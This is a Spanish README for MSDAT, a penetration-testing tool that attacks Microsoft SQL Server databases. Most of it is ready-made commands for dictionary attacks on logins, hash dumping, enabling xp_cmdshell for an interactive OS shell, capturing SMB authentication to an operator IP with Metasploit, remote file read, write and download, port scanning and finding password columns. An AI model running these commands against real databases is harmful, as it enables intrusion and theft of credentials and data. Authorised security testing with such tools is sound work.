MSDAT (Microsoft SQL Database Attacking Tool) es una herramienta de pruebas de penetración de código abierto que comprueba la seguridad de las bases de datos Microsoft SQL de forma remota.
Ejemplos de uso de MSDAT:
- Tienes una base de datos de Microsoft escuchando remotamente y quieres encontrar credenciales válidas para conectarte a la base de datos
- Tienes una cuenta válida de Microsoft SQL en una base de datos y quieres escalar tus privilegios
- Tienes una cuenta válida de Microsoft SQL y quieres ejecutar comandos en el sistema operativo que aloja esta BD (por ejemplo, xp_cmdshell, OLE Automation, Agent Jobs)
Probado en bases de datos Microsof SQL 2005, 2008, 2012, 2014 y 2016
Compatible con Python 3 sólo desde la versión 2.0.
Características
Gracias a MSDAT (Microsoft SQL Database Attacking Tool), se puede (no es una lista exhaustiva):
- obtener información técnica (por ejemplo, la versión de la base de datos) de una base de datos MSSQL sin tener que autenticarse
- cargar un archivo nnmap para escanear todos los objetivos MSSQL
- buscar cuentas MSSQL con un ataque de diccionario
- probar cada inicio de sesión como contraseña (se requiere autenticación)
- obtener un shell de Windows en el servidor de la base de datos con
- xp_cmdshell
- OLE Automation
- Jobs
- descargar archivos remotamente con:
- OLE Automation
- bulkinsert
- openrowset
- cargar archivos en el servidor con:
- OLE Automation
- openrowset
- capturar una autenticación SMB gracias a:
- bulkinsert
- openrowset
- xp_dirtree
- xp_fileexist
- xp-getfiledetails
- robar la contraseña hash de MSSQL, en cualquier versión de MSSQL
- escanear los puertos a través de la base de datos:
- openrowset
- ejecutar peticiones SQL en un servidor MSSQL remoto a través de la base de datos (destino) con:
- bulkinsert
- openrowset
- lista de archivos/directorios con:
- xp_subdirs
- xp_dirtree
- lista de unidades/medios con:
- xp_fixeddrives
- xp_availablemedia
- crear carpeta con:
- xp_create_subdir
- buscar datos sensibles en las tablas (por ejemplo, credenciales)
Instalación
Algunas dependencias deben ser instaladas para poder ejecutar MSDAT.
En Ubuntu:
sudo apt-get install freetds-dev
o descargar freetds en http://www.freetds.org/
Instalar las dependencias de Python:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
o
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
Añade “use ntlmv2 = yes” en tu archivo de configuración de freetds (ex: /etc/freetds/freetds.conf
or /usr/local/etc/freetds.conf
). Ejemplo:
[global]
# TDS protocol version
tds version = 8.0
use ntlmv2 = yes
Cómo Emprezar
python3 msdat.py -h
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
By Quentin Hardy (quentin.hardy@protonmail.com or quentin.hardy@bt.com)
positional arguments:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
Choose a main command
all to run all modules in order to know what it is possible to do
mssqlinfo to get information without authentication
passwordguesser to know valid credentials
passwordstealer to get hashed passowrds
xpcmdshell to get a shell
jobs to execute system commands
smbauthcapture to capture a SMB authentication
oleautomation to read/write file and execute system commands
bulkopen to read a file and scan ports
xpdirectory to list files/drives and to create directories
trustworthype to become sysadmin with the trustwothy database method
userlikepwd to try each MSSQL username stored in the DB like the corresponding pwd
search to search in column names
cleaner clean local traces
optional arguments:
-h, --help show this help message and exit
--version show program's version number and exit
Ejemplos
- Se pueden listar todos los módulos:
./msdat.py -h
- Cuando hayas elegido un módulo (ejemplo: all), podrás utilizarlo y podrás listar todas las características y opciones del módulo:
./msdat.py all -h
Módulo all
El módulo all te permite ejecutar todos los módulos (depende de las opciones que hayas comprado).
python msdat.py all -s $SERVER
Si quieres:
- utilizar tu propio archivo de cuentas para el ataque al diccionario
- probar múltiples contraseñas para un usuario sin preguntarle
- definir tu propio valor de tiempo de espera
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
En cada módulo, puede definir el conjunto de caracteres a utilizar con la opción –charset.
Módulo mssqlinfo
Para obtener información técnica sobre un servidor MSSQL remoto sin necesidad de autenticarse:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
Este módulo utiliza el protocolo TDS y SQL browser Server para obtener información.
Módulo passwordguesser
Este módulo permite buscar credenciales válidas:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
La opción –force-retry permite probar múltiples contraseñas para cada usuario sin preguntarle
Puedes especificar tu propio archivo de cuentas con la opción –accounts-file:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
Módulo passwordstealer
Para dumpear contraseñas con hash:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
Este módulo ha sido probado en SQL Server 2000, 2005, 2008 y 2014.
Módulo xpcmdshell
Para ejecutar comandos del sistema gracias a xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx):
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
Este comando anterior te da un shell interactivo en el servidor de la base de datos remota.
Si xp_cmdshell no está habilitado, se puede utilizar la opción –enable-xpcmdshell en este módulo para activarlo:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
La opción–enable-xpcmdshell option activa xp_cmdshell si no está activado (no está activado por defecto).
La opción –disable-xpcmdshell desactiva disables xp_cmdshell si éste está activado.
Módulo smbauthcapture
Gracias a este módulo, puedes capturar una autenticación SMB:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
Para capturar la autenticación SMB, se podría utilizar el módulo auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) de metasploit:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
El comando capture de este módulo intenta capturar una autenticación SMB gracias al procedimiento xp_dirtree, xp_fileexist or xp-getfiledetails.
Si deseas elegir el procedimiento de autenticación SMB para capturar la autenticación:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
Puedes cambiar el nombre de SHARE con la opción –share-name.
Módulo oleautomation
Este módulo se puede utilizar para leer/escribir archivos en el servidor de la base de datos.
El siguiente comando lee el archivo temp.txt almacenado en el servidor de la base de datos:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
Para escribir una cadena en un archivo (temp.txt) de forma remota:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
Este módulo se puede utilizar para descargar un archivo (C:\Users\Administrator\Desktop\temp.txt) almacenado en el servidor de la base de datos::
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
Además, puedes utilizar este módulo para cargar un archivo (temp.txt) en el objetivo:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
Módulo bulkopen
El módulo bulkopen puede utilizarse :
- para leer/descargar archivos almacenados en un servidor de base de datos
- escanear puertos a través del servidor de la base de datos
- ejecutar peticiones SQL en un servidor MSSQL remoto a través de la base de datos
Para leer un archivo almacenado en el objetivo, se puede utilizar el siguiente comando:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
La opción –method puede utilizarse para especificar el método a utilizar:
- bulkinsert (https://msdn.microsoft.com/en-us/library/ms188365.aspx) o
- openrowset(https://msdn.microsoft.com/en-us/library/ms190312.aspx)):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
Para descargar un archivo (C:\Users\Administrator\Desktop\temp.txt):
` ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
This module can be used to scan ports (1433 and 1434 of 127.0.0.1) through the database server:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
Puede escanear un rango de puertos:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
Este módulo se puede utilizar para ejecutar peticiones SQL (por ejemplo: select @@ServerName) en un servidor de base de datos remoto (por ejemplo: $SERVER2) a través de la base de datos ($SERVER):
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
Módulo xpdirectory
Se puede utilizar el módulo xpdirectory para listar:
- archivos
- directorios
- unidades
- comprobar si un archivo existe
- crear un directorio
Para listar los archivos de un directorio específico:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
Para listar los directorios en un directorio específico:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
Para listar las unidades:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
Para comprobar si un archivo existe:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
Para crear un directorio:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
Módulo search
El módulo search puede utilizarse para buscar un patrón en los nombres de las columnas de las tablas y las vistas. Utiliza el módulo para buscar el patrón %password% en los nombres de las columnas, por ejemplo.
Para obtener los nombres de las columnas que contienen patrones de contraseñas (por ejemplo: passwd, password, motdepasse, clave):
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
Si quieres ver los nombres de las columnas que no contienen datos, debes utilizar la opción –show-empty-columns.
Para buscar un patrón específico en los nombres de las columnas de las vistas y tablas:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
msdat (este enlace se abre en una nueva ventana) por quentinhardy (este enlace se abre en una nueva ventana)
MSDAT: Microsoft SQL Database Attacking Tool